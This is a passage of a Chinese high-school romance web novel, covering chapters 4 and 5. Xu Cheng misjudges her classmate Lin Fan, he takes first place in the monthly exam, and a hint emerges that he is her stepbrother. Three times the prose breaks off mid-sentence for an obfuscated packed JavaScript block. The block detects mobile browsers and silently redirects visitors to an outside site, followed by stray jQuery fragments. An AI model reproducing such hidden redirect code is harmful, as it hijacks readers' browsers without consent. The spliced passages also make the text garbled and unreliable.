考进云中重点班的,大多是实中的学生,大家互相都认识,唐小雪、周谨一、张多多和许橙四个人就是初中三年的同班同学。
周谨一蝉联了实中三年的年级第一,唐小雪妈妈总是耳提面命地和唐小雪说,“人家小周怎么怎么样”“你要多和小周学习学习”。以前,唐小雪恨得牙痒痒,发誓要把周谨一揍一顿,但一来一去,没揍成,反倒也习惯性地说“周谨一怎么怎么样”了。
许橙拿了块毛巾,擦滴水的折叠伞,随口说:“周谨一是中考第一,在云中也肯定是第一呀,没有人比他好了吧?”
唐小雪稍作迟疑,但很快坚定地点了点头,抱着衣服钻进寝室。
许橙到水池里把毛巾拧干,湿冷的水从手上淌下去,不太舒服。也不知道林凡怎么淋着雨走的,高一楼到校门口有很长一段距离。
还有月考,林凡刚转学就碰上月考,会考得很惨吧?平时老师和校领导盯重点班盯得最紧,他要是考不好,那可怎么办?看他爸爸那么严厉的样子......
“许橙,还有饼干吃不吃?放到明天就潮了。”唐小雪在寝室里面喊。
许橙有些慌乱地挂好毛巾,跑回寝室。
刚刚,她想林凡干什么?
接下来的这几天,许橙避免和林凡碰面。虽然已经做了同学,但,还是少接触比较好。现在她要出教室,或者去答疑室,都从前门绕,绝不往林凡那儿过。偶尔几次唐小雪拉着她往后面走,她都低着头。
所幸,林凡没再注意她,没找过她说话,甚至,也没给过一个眼神。
许橙没再分心,月考在前,很重要。
这次是高一开学以来第一次排名考试,关系到尖子班名额的分配,大家都很紧张。
尖子班选拔年级前三十的人,在周末和寒暑假加课,讲难度更高的东西,这样来培养冲刺清北的学生。
许橙想进尖子班,她是中考第二十四名进来的。中考发挥得好,但不知道在云中还是不是这个排名,心里有些忐忑。
唐小雪不忐忑,考前一下发每个人的考场座位表,她就把前后几个人的表格都对了一遍,最后唉声叹气,自己和他们三个人竟然没有一门考试在同一个考场,找不到人说话了。
唐小雪是觉得,在考场门口候考太煎熬了。许橙弯弯唇,忽然想到一件事,连忙在心里祈祷,千万千万不要和林凡同一个考场。
偏偏,第二场考数学,就遇到了。
整栋楼分了十六个考场,是不容易碰到的,许橙也不知道是哪里来的运气。
考前十五分钟,走廊上候场,许橙站在教室窗边,拿着资料看。可林凡的身影一出现,像开了定位似的,她的余光一下捕捉到他。
男生的身影由小变大,在最大的时候停住——停在她的对面。林凡背靠栏杆,不动了。
许橙紧起呼吸,资料捏得皱。目光颤颤一扫,走廊各处都站满了人,只有她的对面是空的,林凡并不是故意站在这里。这么一想,她缓下心跳,悄悄抬眸。
林凡还是敞着外套,长袖卷到手肘,露出结实、线条分明的小臂,皮肤很白。指间夹两支笔,除此外别无他物,连橡皮都没有。他不像来考试,倒像来打球的。
许橙看得心里犯嘀咕。
林凡扫了许橙一眼。
很巧,也很不巧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467339|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,对上视线了。
许橙的心跳搁置了一阵。现在,不能装作自己没有看到他,又是同班同学,看到人家却不打招呼,那不太好。加之,有个男同学刚好路过,招呼了林凡一句。
许橙只好抬起头,朝林凡笑一下。
林凡平静地把目光移开了。
许橙瞪大了眼睛。
他能不能有一点同学之间基本的礼貌?
铃响了,林凡闲闲地走进考场,许橙气鼓鼓地跟在他身后,林凡落座在她的斜对面。
老师很快拆封试卷,许橙的气没生太久。撕密封条的声音一响,她没再注意林凡,他可没有数学考试重要。
数学考试的时间过得特别快,许橙第一次看挂钟,已经过去一个小时,连忙低头继续做题。除了一点思路都没有的难题,其他题目都做得差不多的时候,考试还剩二十五分钟。
脸颊烫,手却冰冰的,手心还有汗。许橙长长地吐一口气,把试卷翻到第一页,开始检查,那些难题就不做了。
右上方,轻轻的椅子挪动声。
林凡起身,走上讲台,交了答题卡。
好多人都抬了脑袋,一脸茫然,眼睁睁地看着林凡走出去。许橙也是,好一会儿都忘了动笔。
“看什么看!没做完的赶紧做,做完的赶紧检查!”监考老师厉声呵斥,说完,还意犹未尽添了一句,“检查得仔细一点,不要以为自己都会了,到时候这里错那里错的!”
本来最后的时间就容易浮躁,现在,许橙的心思已经飞到天外去。
虽然,她早知道林凡是一个混混,但是他数学考试还这么随意,简直……她都不知该怎么形容了。
老邵最不喜欢“抛”的男生,当初张多多在数学课上嘻嘻哈哈,被老邵踹了一脚,后来重点班的男生没一个敢在数学上不正经的。
林凡大概要被老邵踹一脚了。
接下来的几门考试,许橙没再遇上林凡。但听别人说,他物化生考试也是提前交卷的。
没再仔细听,许橙只觉得,她把他当混混,并没有错怪他。甚至,她还同理心很强地为林凡担心,他这样在重点班学习,以后是不是会很吃力?
月考的四天过得很快很累,结束的第一天早读,稀稀拉拉地没几个人读,年级组过来训了一通,效果甚微。
早读下课,大家齐刷刷趴到桌子上,教室里安静得像午休。许橙也打了个哈欠,轻手轻脚地翻找月考试卷,第一节是英语课。
她把自己的找好了,再找唐小雪的,等会儿一起做笔记。昨天考完试,唐小雪就空着手回家了,连书包也没背,美曰其名生病了有点不舒服,要回去休息休息。
许橙掐算,她的不舒服应该要延续到今天中午,因为上午的课都是文科课。文科讲试卷,听不听,唐小雪认为没有什么区别。
“都这么困啊。”老余走进教室,“好醒一醒了,大早上的竟然这么没精神。太困的就去厕所洗把脸,等下上课讲试卷。现在就好把试卷找出来了,别上课了再这里翻翻那里翻翻。月考试卷都还在吧,别才过了两天就找不到!”
说完,老余走到第四组角落,嘱咐许橙:“许橙你辛苦下,帮唐小雪对个答案。”
再往后一瞧,竖起眉毛,敲敲张多多的桌面,“张多多,你的英语试卷呢?”
张多多桌上有座小山,书夹纸纸夹书,唐小雪说这是垃圾场。
老余也很嫌弃,又教训:“张多多,你前面是许橙,旁边是周谨一,近水楼台先得月,有空就跟人家学一学,问问人家的桌面怎么整理的?你后面还有林凡,林凡桌面多少干净,就留上课要用的两本书,再看看你的!”
前面传下来作文讲义,许橙转身往后递,顺便看了眼林凡的桌面,她也好奇,老余很少夸人桌面整得干净呢。
林凡的桌上,只左上角薄薄几本书,两支笔,没其他的东西。
许橙蛮惊讶,但的确,不说林凡别的方面怎么样,至少他特别干净清爽,这点和别的男生不一样。许橙喜欢整洁、有条理的人。
可没一会儿,老余的声音又响起来:“我的话也是说早了,林凡,你的英语试卷呢?”
林凡很自然,说:“不好意思余老师,前天顺手带回去了,现在在家里。”
其实,他只要是会了的东西,都当做垃圾扔掉,不放在书桌里占地方。至于带回家,只是个说辞,林凡没想到老余还查这个。
老余向来是个细心的人,文科老师嘛。
张多多是看到林凡丢“垃圾”的,笑出了声。许橙不知道状况,但也忍不住弯了唇,只有周谨一还是八风不动。
“张多多你别笑,你的试卷找到了没有?我看你是找不到了,你和周谨一一起看。林凡么,刚好唐小雪请假回去了,你就上去和许橙坐一块儿看,明天一定要把试卷带过来!”
老余气呼呼地上讲台了。
许橙懵了。
4. 第 4 章
唐小雪的位置在里面,许橙只好机械地往里挪。林凡走过来,很自然地坐进她的座位。
很自然,指的是连声招呼也没打。
要是许橙会翻白眼的话,她一定翻一个,但目前她还没学会这个技能。
生气归生气,还是要保持基本的礼貌。许橙把自己桌上的书挪开,两个桌面中间留出空位,摊开英语卷子,方便林凡一起看。
许橙像个木头人一样坐着。
因为一起看试卷,就挨得比正常距离要近,近到她能闻到林凡身上的薄荷味,可能是洗衣液的味道,很清新。
老余报选择题答案,大家跟着对。每报完五题,一片唉声叹气,红笔刷刷地在试卷上打仗。老余走下讲台,这里看看那里看看。
停顿的间隙,许橙忽然发现,从听力到阅读,身边的这个人一直没动笔。
虽然没试卷,但还是有答题卡的,对答案只需要用答题卡。她想,林凡大概是在走神。
许橙忍不住,悄悄觑他一眼。男生神情淡然,垂目在卷子上,看不出什么。余光往下,他按在试卷上的手白皙修长,手背有青筋微微凸起。骨节分明,指甲修剪得很干净。
突然,林凡的指尖在桌面上敲了一下。
许橙着急忙慌地收回目光,心跳如鼓。好在,老余继续往下报答案,她拿红笔打了好几个没必要的勾,装作自己特别特别忙。
又有两个阅读错了,许橙皱起眉打叉。这张试卷难度不算低,她总共错了三道客观题。许橙的英语是中上水平。
“有没有客观题全对的啊?举下手我看看。这张试卷比较难啊,前面错三个就不错了。”老余按惯例统计。
许橙低头思考错题,没注意谁举手。因为英语好的人就是那几个,就像年级第一是谁也无可争议一样。
“哦?这次有全对的了?可以啊林凡!”老余的目光扫到第四组,非常高兴。
许橙呆住了。
天呐,怎么会?可是——
难道是上海的学生英语好一些吗?
“不是吧,哥你英语全对啊?”张多多伸长脖子,简直快趴到林凡肩膀上,“这不对吧?男的英语还能学成这样?”
要是唐小雪在,一定会说一句,张多多,你看看老余是不是男的?
“我们重点班的男生以后选理科的多,本身就对文科不重视,但是你们要搞搞清楚,英语语文占比多大?一百五十分一门课,一定要好好摆正它们的位置!再一个么,就是要对自己有点信心,不要觉得男同学英语就不如女同学了,看看林凡同学!”老余说得可激动,脸放红光。
又继续统计:“好了,错一个的举手——周谨一,许橙你帮唐小雪举的?好的。错两个的——郑婷。选择错两个,那考一百四十就有点吃力了,不过对于这张卷子已经很不错了,这张卷子难度出得太大了点!”
老余开始讲听力,许橙还有点儿恍惚,一个字母也没听进脑袋里,缥缥缈缈的。直到林凡拿起她压在桌面底下的试卷,数学试卷。
许橙终于回神,忍不住看他,他想干嘛?
“不介意我看一下?”林凡说。
这是两个人目前说的第一句话。
许橙默默地看着已经被他拿在手里的试卷,不吱声。
林凡一手支着头看。
昨天晚自习,孙佳怡发了月考答案,老邵让他们能订正则订正,当做昨天的数学作业。许橙订正得很认真,试卷到处红,像开了碗大的红花。
然而最后一道大题,密密麻麻的红笔字戛然而止,这题很难,做题的人思路断了。
林凡明知故问:“这些没来得及订正?”
“还没弄懂。”许橙干巴巴地回答。
昨天斗争了一个晚自习,刘海都抓掉好几根,不会的还是不会。大家都忙着订正月考试卷,许橙也不好意思问别人,毕竟老邵今天上课会讲。只是这种难度的题目讲完一遍,她大概还要再问问周谨一。
“少问别人,多自己想想。”林凡说。
许橙体会到两件事。第一件事,她果然不能期待林凡说出什么好话,比如告诉她这道题的解题思路如何如何,当然,他这种人肯定也不会做这种难题。第二件事,他真是一个有些傲慢的人,英语好怎么啦?英语好就能指点江山吗?
许橙没搭林凡的话,林凡也不觉得尴尬,气定神闲地折好试卷,放了回去。
听力讲完,老余讲作文。许橙的作文写得好,被放进PPT里当范文。
“许橙这篇作文本身是中上水平,也很不错了,但是为什么能拿这样的高分?那就是因为字写得漂亮。只要你字好了,老师加个一分两分肯定没有问题。”老余说。
隔壁组,英语课代表郑婷哼了一声,瞟了许橙一眼,轻飘飘说,一分两分有什么用?
别人可能听不到,离得近,许橙和林凡都听到了。许橙的视线没移,倒是林凡往那边瞧了一眼。
下课铃响,他就回去了。
接下来的课都是讲试卷,别的课,许橙不知道林凡的答案对得怎么样,毕竟,她也不能扭过头去盯着人家。
心里还有疑惑,中午唐小雪一回来,许橙就把这件事说了,唐小雪却不惊讶:“林凡英语好很正常的嘛,他又是上海来的人诶。”
看来,的确是和上海有关系,许橙没有继续纠结。无论一个人再怎么样,肯定还是有闪光点的,她并不想把林凡考虑得那么坏。
第二天傍晚,年级排名出了,三张表格贴在教室后面的黑板上。
许橙和唐小雪从操场散步回来,一堆人挤在那儿看表格,氛围非常热烈。
“借过借过。”唐小雪带许橙挤了进去,一下捂住嘴,“天啊……”
许橙先找自己的名字,很好找,就在第一页末尾。看到年级排名,心就往下掉了。
三十一名,刚好和尖子班差一名。
“天啊!”唐小雪摇许橙的胳膊,“许橙你快看最上面啊,天啊!”
许橙不明所以,第一不用想就知道是周谨一,还看什么?她刚刚还以为唐小雪是在惊讶她自己的成绩呢,怎么——
林凡。
班级排名:1/41。
年级排名:1/512。
“林凡有好几个单科第一……”唐小雪的眼睛都快贴到纸上了,上下比对每一个数字,“周谨一每门课的分数都很好啊,加起来居然第二!怪不得大家围在这里看这么久!”
许橙像扎了根的一棵树,挪动不了一寸,就这么木木立着。北风呼啸,把整树的青叶子卷得簌簌发抖。
“怎么真的会这样啊……都怪我乌鸦嘴。”唐小雪失落地扁起嘴巴,“我之前就担心周谨一有可能不是第一了,没想到现在真的不是了,他会不会难过啊?”
“你之前就担心?”许橙的声音,也簌簌的。
唐小雪只以为她是太惊讶了,说:“对啊,老余介绍林凡的时候不是说他拿过好多全国竞赛的奖项吗?数学物理英语化学他都有,那一定很厉害啊。一开始好多人还以为他是托关系进来的呢,但听完就知道肯定是凭实力的啦,云中重点班怎么可能托关系进啊。”
说完,唐小雪突然想起来:“哦,那时候你被老邵叫去面批试卷了。”
情何以堪,许橙现在切切实实地体会到这四个字的意思。
她没有深想过林凡为什么打架,只以为是两个混混约架。可现在一想,他那天刚来交转学申请,当然不认识那个高年级混混,怎么可能是约架呢?可是,许橙也想不出别的理由。
但不论怎么样,请问,年级第一兼当混混的可能性大吗?
许橙欲哭无泪。
敢情这段时间,只有她把林凡当混混。这种感觉,就好比把一个名垂青史的清官当成了遗臭万年的奸臣,还朝人家脸上吐口水。
许橙感觉自己灰扑扑的,像过街会被人人喊打的小老鼠,一路担惊受怕。
脸烧得厉害,许橙不由自主往那边望。
林凡依旧在看书,课外书。
傍晚六点,天光仍有明亮。窗外的枞树长得很高,九月了,枝叶还滴着绿。男生校服是洁净的白,在逶迤的碧色中留下鲜明的一痕,让看着他的人,移不开眼睛。
教室吵闹,只有这一处安静,窗外倏忽几声鸟雀啼鸣。
许橙发了长久的愣。她曾那样想的人,现在却如此。树青青,他也清清。
怎么是这样一个人呢?
“哎呀,周谨一回来了,我们快点去安慰安慰他。”唐小雪拉许橙走。
周谨一刚从办公室回来,他面色温和,别的同学和他说话,他也微笑,没有为排名的事情不高兴。周谨一向来是四平八稳的性格。
往周谨一那儿走,要路过林凡,和周谨一说话,要面向林凡。唐小雪走得那么急,许橙的脸也烫得急,像一屉包子添了源源不断的柴,烧啊烧,蒸啊蒸,火烧火燎。
她现在不能够更心虚了。
走到周谨一面前,唐小雪说:“周谨一你别难过,俗话说胜败乃兵家常事嘛,下次一定能拿回年级第一的,我相信你。”
“我没什么事。你们刚刚,是去跑步了?”周谨一看着许橙,皱了些眉。
唐小雪的思路一下被带偏了:“没有啊,我和许橙不是一直都是去操场散步吗?”
“那许橙的脸怎么这么红?你倒还好,不过也有点儿。”周谨一奇怪。
许橙的脑袋里,钟磬一声响,嗡嗡的。她当然知道脸很烫,可舌头打了结,不知道该怎么解释。
还好,唐小雪摸了摸脸,很自然地说:“那是我看成绩紧张的啦!许橙嘛,许橙你也别灰心,反正那个什么班的课那么难,怎么听得懂啊,还不如不去上呢。”
这个解释很好,许橙松口气。她忍不住,偷偷偏了视线,看向让她脸红的罪魁祸首。
怎么会心有灵犀,林凡也抬了眼,两个人对视上,在这样的喧闹里。
世界安静一瞬。
许橙风驰电掣地掩下视线。可是,她感知得到,那道目光还灼在她身上。
“许橙是第三十一名?刚贴上的时候我看了。差一名是运气问题,不用难过,下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467340|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次考试好好把握就可以。”周谨一安慰人也很理性。
“是啊,没关系的,下次再、再努力就好了。”许橙都有些结巴了。
因为,林凡还在看她。
他那么聪明的一个人,肯定早就知道,她在心里把他当混混。许橙现在窘迫得不得了。
“你的脸……”周谨一欲言又止,因为许橙的面颊完全成了桃粉色,红扑扑的,“只是紧张吗,不会是发烧了吧?”
“咦?”唐小雪贴了贴许橙的脸颊,“天呐,真的很烫诶,难道是刚刚吹风着凉了?”
“没有没有,我就是看到成绩太激动了,我——”许橙急得真不会说话了,“我去洗手间洗把脸就好了。”
女孩子离开得匆忙,林凡的视线跟着她走。背影不见时,他收回目光。
羞愧难当的劲过去,晚自习安静下来,许橙开始难过了,这样的难过绵延很久。
毕竟只差一名。
小小的人,小小的烦恼。可对许橙来说,这是很伤心的事。
她的失落,像梅雨季的潮湿,心上覆起水雾,湿哒哒的抹不干净。时间一久,凝成一颗颗水珠,最后滴滴答答地往下掉。
和许橙一样,好多人的心灵都受到摧残。好在隔天就是周六,可以回家用好吃的好喝的安慰一下。
下午放学,许橙回幸福家园。它是一个建成了三十多年的老小区,坐落在老城区的中心,很热闹的地段。周谨一家也住在这里,是和许橙家相隔不远的楼栋。
外婆在两条街外的裁缝铺上班,这个年头,要手工做衣服改衣服的顾客还多,新客回头客,店里生意很好。
做裁缝的人手巧,烧饭也特别香。小的时候,周谨一隔三差五就来吃饭,后来唐小雪也是,总说要吃外婆做的醋炒鸡。
今天晚上的菜是笋干老鸭煲、番茄炒鸡蛋、炒油麦菜。
“这个鸭子清早就送来了,山上放养的,多少补,橙子你要多吃点!高中住校去了,在学校里吃么吃不好。看看,这一周下来又瘦了一圈了!”外婆念叨个不停。
许橙哀怨地摸摸自己的脸:“外婆你又开玩笑了,我哪有瘦,能不胖就好了。”
高中比初中压力大多了,一天到晚关在学校,没有什么娱乐活动,大家除了读书,最关心的事就是吃东西。除了吃饭,还要吃零食,面包薯片巧克力……一不小心就胖了。
这要怪云中那个超市,琳琅满目,什么零食饮料都有。吃完晚饭,唐小雪和许橙的必备项目就是去超市,买一杯酸奶,边散步边喝。
可外婆不觉得,硬是说:“我看是瘦了!要多吃点饭!”
老人家端好菜,又端了水果出来,这是放到柜子上的。
那儿立着两幅相片,里面,外公和舅舅都笑盈盈的。外婆佝偻着身体,瘦削而粗糙的手,拿抹布仔细地擦相框。
“读书这么辛苦,你外公和你舅舅看着也要心疼死了。”外婆轻叹。
许橙摆好碗筷,先说了月考和尖子班的事情。她本来想饭后说的,但怕憋在心里,好好的一顿饭都吃不香。
外婆听完,说:“差一名么是有点可惜,不过下次也有机会的吧?我们橙子乖乖的,不早恋,也不打游戏,成绩一定能上去的。”
又给许橙舀汤:“这三年好好努力,咱们考杭大,以后出来当个老师,那就安稳咯!”
许橙“嗯”了一声,低头喝汤。
外婆觉得两种职业最好,老师和公务员。比较起来,老师有寒暑假,而公务员没有,所以老师更胜一筹。
从小到大,“长大当老师”这句话,许橙听了大概有一千遍了。她自己没什么想法,看看学校里的老师,感觉这份工作还不错,那以后就当老师吧。
许橙的第一碗汤喝完,外婆放下碗,说:“橙子啊,外婆是好久没给你妈打电话了,你上高中,也该和她说说你怎么样了。现在才知道她和你杜叔叔从上海回来了,这么大的事,她也不说一声,估计是太忙了。”
许橙不可置信地抬起头,勺子停在半空。
妈妈回来了?
“他们两夫妻都回来了,就是奇怪,把睿睿留在上海读小学。那上海的教育条件是好一点,可是那么小的一个孩子怎么放心呢,才刚上一年级!我么又说不了她。”外婆摇头。
许橙顿了好一会儿,一滴汤落下去,打散几点油花,才收回神,勺子在汤里一舀一舀。
“可能因为那个哥哥也还在上海上学吧,他在读高中的话,转学会很麻烦。那弟弟就一起留在上海念书了。”许橙垂着视线说话。
从前没有什么,但现在,因为林凡,她也和唐小雪一样,觉得上海的教育条件好。那妈妈肯定想让弟弟留在上海读书。
等一下……
林凡?
从上海转学到杭市……
杜叔叔的儿子叫什么名字来着?
“凡凡比你大一年多哦,就你妈和你杜叔叔办喜酒的时候看见过他,现在都快忘了这孩子长什么样了!长这么大,要是在大街上碰到,那都认不出来了。”外婆眯着眼睛回忆。
5. 第 5 章
凡凡。
是叫这个。
许橙不知道哥哥的大名叫什么,婚礼上见到的时候,外婆让她喊凡凡哥哥。
弟弟叫杜子睿,那凡凡哥哥应该是叫杜子凡吧......凡这个字还是挺大众的。
刚刚那个胡思乱想,真是太可怕了,怎么可能是林凡?世界上没有这么巧的事。再说了,凡凡哥哥肯定和弟弟一起在上海读书呢。
她真是最近琢磨林凡琢磨得太多了,许橙摇摇头。
最重要的事是,妈妈回来了。可即使同在杭市,也不会见面。许橙的心,再一次变得水淋淋。偶尔,她也会想妈妈。
同样的这个周末,林凡也回了家。不过,他并不把这个房子称为家。
杜家别墅在新城区,庭院做了硬化,仅有的几株绿植修剪得规规整整,没有生气。
还在玄关换鞋,女人又甜又腻的声音便从客厅滑过来。以往,林凡并不在意许静,今天却不自觉竖起耳朵。
声音不像。
“还是听王太太的话好,睿睿他们那学校选得就是到位。我放学去接睿睿,看到门口那些车子多少有牌子的,迈巴赫啦、劳斯莱斯啦,哦呦,那都是大户人家,睿睿和这些孩子玩在一起,那才叫好。”
一旁沙发上,杜建华撑着报纸,懒洋洋地“嗯”“是”敷衍两句,却也不扰许静的兴致,她叽叽喳喳不停。
林凡走进客厅,细胳膊细腿的小男孩儿突然窜出来,举把玩具枪往他身上扫:“嘟嘟嘟!凡凡哥哥你被我打死了!嘟嘟嘟!”
“杜子睿,怎么和你哥哥说话呢?快把东西收好!”许静佯装发怒,再向林凡笑,“哎呀,凡凡回来了呀!怎么不出个声呢?”
杜子睿吐了吐舌头,溜到沙发后面,对着晒太阳的哈巴狗“嘟嘟嘟”。
女人不过是一贯的客套话,林凡瞥了她一眼,“嗯”了一声,便看向杜建华。
“房子我找好了,明天搬出去。”
这句话说得淡,是例行公事的通知语气。父子两个在这方面倒相似,杜建华也只抬了下眼皮,目光冷,很快就收了。他对林凡没有多余的耐心。
去云中见方校长,无非是顺势拓展人脉资源,和这个儿子没半点关系。
许静察言观色罢了,向林凡笑靥如花,嗔怪:“凡凡,你这孩子也真是的,还真出去找房子了?你们学校和家里也不远,你一个人住外面,叫阿姨和你爸爸多担心呢?”
“让他去。”杜建华仍旧看报纸,声音不响,但十足威严,“在家里看着也戳眼。”
“戳眼是什么意思?”杜子睿丢掉玩具枪,攀上沙发,冒出个圆溜溜的脑袋。
“小孩子话这么多干什么?”许静瞪了眼杜子睿,把他往前一拉,塞到杜建华身边,笑眯眯的,“睿睿,快和爸爸说说你学校冬令营的事情呀。”
林凡不多驻足,转身上楼。
女人的声音,紧随他其后,每一个字眼都送了过来。许静并不遮掩,甚至有意让他听见。楼梯旋至二楼平台,大理石栏杆外,即是七米挑高的客厅。
林凡停在栏杆边,俯下视线。
“凡凡妈妈把那么多钱交给孩子,我看着是不好。市中心那些房子少说十来万一年,他就这样花出去啦?”许静攀上杜建华的手臂,“建华,你也要为凡凡打算打算,管一管他,他这个年纪能知道怎么用钱?”
“林明娟自己立的遗嘱。”杜建华的声音很沉,只说了这么一句,坠到地上。
许静不敢接这话,眼睛滴溜转了一圈,扶住杜子睿的肩膀,又哄:“睿睿,快和爸爸讲讲你那冬令营到底是干什么的呀?去英国待一个月,学点什么玩点什么?班里好多同学都报名了对不对?我们家睿睿当然也要去的,那学费嘛,十多万就十多万,只要睿睿开心,爸爸妈妈当然要给你报名的……”
林凡眉目平静。
这些话,这些年,他听过的不少。许静和杜建华结婚这么七年,他没叫过她一声妈,也没正眼打量过她。虽然总是见面,但他甚至记不清她长什么样子。
当然,也不完全是许静的原因。杜建华,林凡也不喊他爸,有九年了,自七岁那年林明娟去世以后。
现在,站在这里,是他第一次认真看她。
骨子里,杜建华喜欢一味听他话的女人,屏风上金线织就的一只雀鸟,不必会言语,只须被人看见时赞一句,真真是极漂亮。所以再婚时,他选了许静。
许静的漂亮是无疑的。弯弯细细的柳叶眉,一汪含水杏眼,古典画里的美人。
面容上,母女一脉,许橙自然和她有相似。可是别的地方,林凡说不出到底是什么,以至于整体上,他并不觉得她们相像。
还有杜子睿,这个被许静拥在怀里当宝贝疙瘩的小屁孩,瘦得像根豆芽,不知道的还以为不给他吃饭。周末放了学回杭市,一天到晚只知道疯跑,和哈巴狗打架。杜子睿的七岁和林凡的七岁实在不一样。
林凡不太承认自己和杜子睿有血缘关系。
显然,许橙也和杜子睿不像。
林凡皱挺久的眉,倏忽回过神,轻嗤一声,嘲弄自己。
他想她和他们像不像干什么?
许橙并不和他们一起生活,她之于他,不过是名义上担了妹妹两个字。事实上,以及心底里,林凡并不觉得自己多了一个妹妹。
现在,她既没认出他,他也并不想认她,何必给自己多添麻烦。
林凡转过身,径直上楼。
云中的周末很短,周六中午放学,周日中午就要返校。天色一暗一明,便又回去了。
周日晚自习,老余在答疑室组织面谈。月考排名一出,班主任就要针对性地和学生聊聊,一对一的。
轮到许橙,隔着张办公桌她坐在老余对面,蛮紧张,攥着校裤的手汗津津的。老余拿着成绩单翻来覆去地看,眉心皱成个川字。
倒不是许橙哪里不好,就是老余看成绩的时候就这个样子。
“尖子班,我问年级组可不可以扩大几个名额,让我们前三十前四十的的同学也去听一听试一试,毕竟教室又不是没位置坐。”老余熟练地把一包抽纸推过来,“但马主任说,之前只安排了二十个,三十个已经是扩大了。”
“这种课程设置的目的呢,就是让学生和老师能多互动多交流,那么肯定是越小越精,所以啊人数上是不好再加了。这次月考就算了,许橙,你别灰心,下次再好好发挥一下,就差一名,也是有运气成分!”
许橙没有用纸巾。她已经想明白了,虽然还余了点儿难过,但不至于哭。
答疑室的门被敲响三下,老余喊了声“进”,是林凡。他来柜子里拿书。
老余瞅了瞅林凡,没作声,继续看成绩单。许橙心里忍不住咕哝,要是换做别人,老余早开始教训人了。
又有点儿紧张,背坐得笔直了。他偏偏这个时候过来,也不知道是不是因为她在这里。
上星期,她还把人家当混混,羞意的余烬重又燃起,窸窸窣窣,慢火煨着她。
暂时,老余没说话,许橙的角度恰好能看见林凡。他开了柜子,指尖从从容容掠过一本本书的书脊,那么慢,许橙都有点儿奇怪了。
老余分析好,继续说:“许橙,你的文科各门课都很好啊,就是数学和物理弱了点!物理么,高二如果选文,那就可以丢掉了,可是数学丢不了啊。数学不能死记硬背,一定要开拓思维,多去练多去做,不要怕难。”。
老余看了眼林凡:“平常要多和老师还有同学交流。你和周谨一、张多多还有林凡都坐得近,可以多问问人家怎么学的嘛!”
这样提及林凡,许橙的脸立马红起,低低“嗯”了声,手把校裤攥得更皱。
林凡瞥了她一眼,拿好书,开门出去了。
和老余谈完话,还没下课。走廊暂时没有年级组巡查,许橙溜去洗手间,想洗把脸。
这样分析完成绩,她有点儿坐立不安的焦躁,还是去洗洗脸清醒清醒比较好。
走廊的灯没亮,一弦银月细窄,挂在天边,只落薄薄的一层光,把影子照得很淡。
洗完脸,许橙不敢多留,拿出纸巾,边擦脸边走出去。没几步,就在转角停了步子。
男生站
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467341|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在那里,银月在他身后。
“挺巧。”林凡说得清闲。
许橙胶在原地。
她知道,这多半不是巧,而是他在这里专门堵她。刚刚在答疑室她就觉得奇怪,心里那点儿影,现在被他证实了。
可是,就因为她把他当成混混这件事吗?
许橙把潮乎乎的纸巾团在手心,皱巴巴的,她的眉也皱起来,警惕地看着林凡。
林凡侧倚着墙壁,插着口袋,月影里看不清晰他的神情,大概似笑非笑。
“我还以为你会哭呢。”他说。
“我哭什么?”许橙不明白他的意思,心里又有些怕,声调便起得高。
走廊的白炽灯是声控的,现在,不合时宜地亮了起来。这儿就他们两个人,许橙不合时宜地把林凡看得清清楚楚。
他还是那样舒朗痞气的样子,噙着笑。当然,不是什么性质好的笑容。
“尖子班,你不是差一名么?啧,之前在教务处因为一个处分就哭得那么厉害,现在倒是不哭了?”林凡歪了歪头,讲得戏谑。
许橙的脸红了,红得特别快,羞的也是气的,纸巾被她揉得更皱。
林凡是不是觉得进教务处的事很好笑?也是她倒霉,难得哭一次就被他看到。
其实,自打上了小学,许橙一次都没有在同学面前掉过眼泪。即使难过,也会攒到晚上回家,把自己裹在棉被里偷偷哭。
上一次真是例外中的例外,偏偏被林凡这个大恶魔看见了。
“我没有那么脆弱。”许橙把声音克制得平静,“我回去晚自习了。”
说完她就走,步子拉得很大。
林凡并不拦她,只悠悠丢给她一句:“其实你本来可以去尖子班的,只不过——”
说话说一句留半句,为的就是勾住某些人。许橙就是这条上钩的小鱼。她刹住脚步,疑惑地扭头看他。
林凡还是那样笑眯眯的,笑得放肆。许橙立马意识到自己上了套,火更大了。他爱说不说,她才懒得听呢,于是又拔腿就走。
可没走两步,自己停下了。许橙清了清嗓子,声音倒是不卑不亢:“只不过什么?”
诚然,林凡说话是很欠揍,很让人不高兴,但此林凡非彼林凡。毕竟,年级第一,还是很厉害的。
林凡却没再说话,只是看着她笑,他现在的笑是真笑——桃花眼借来天上那轮月,弯弯的,在一点灯下流光溢彩。
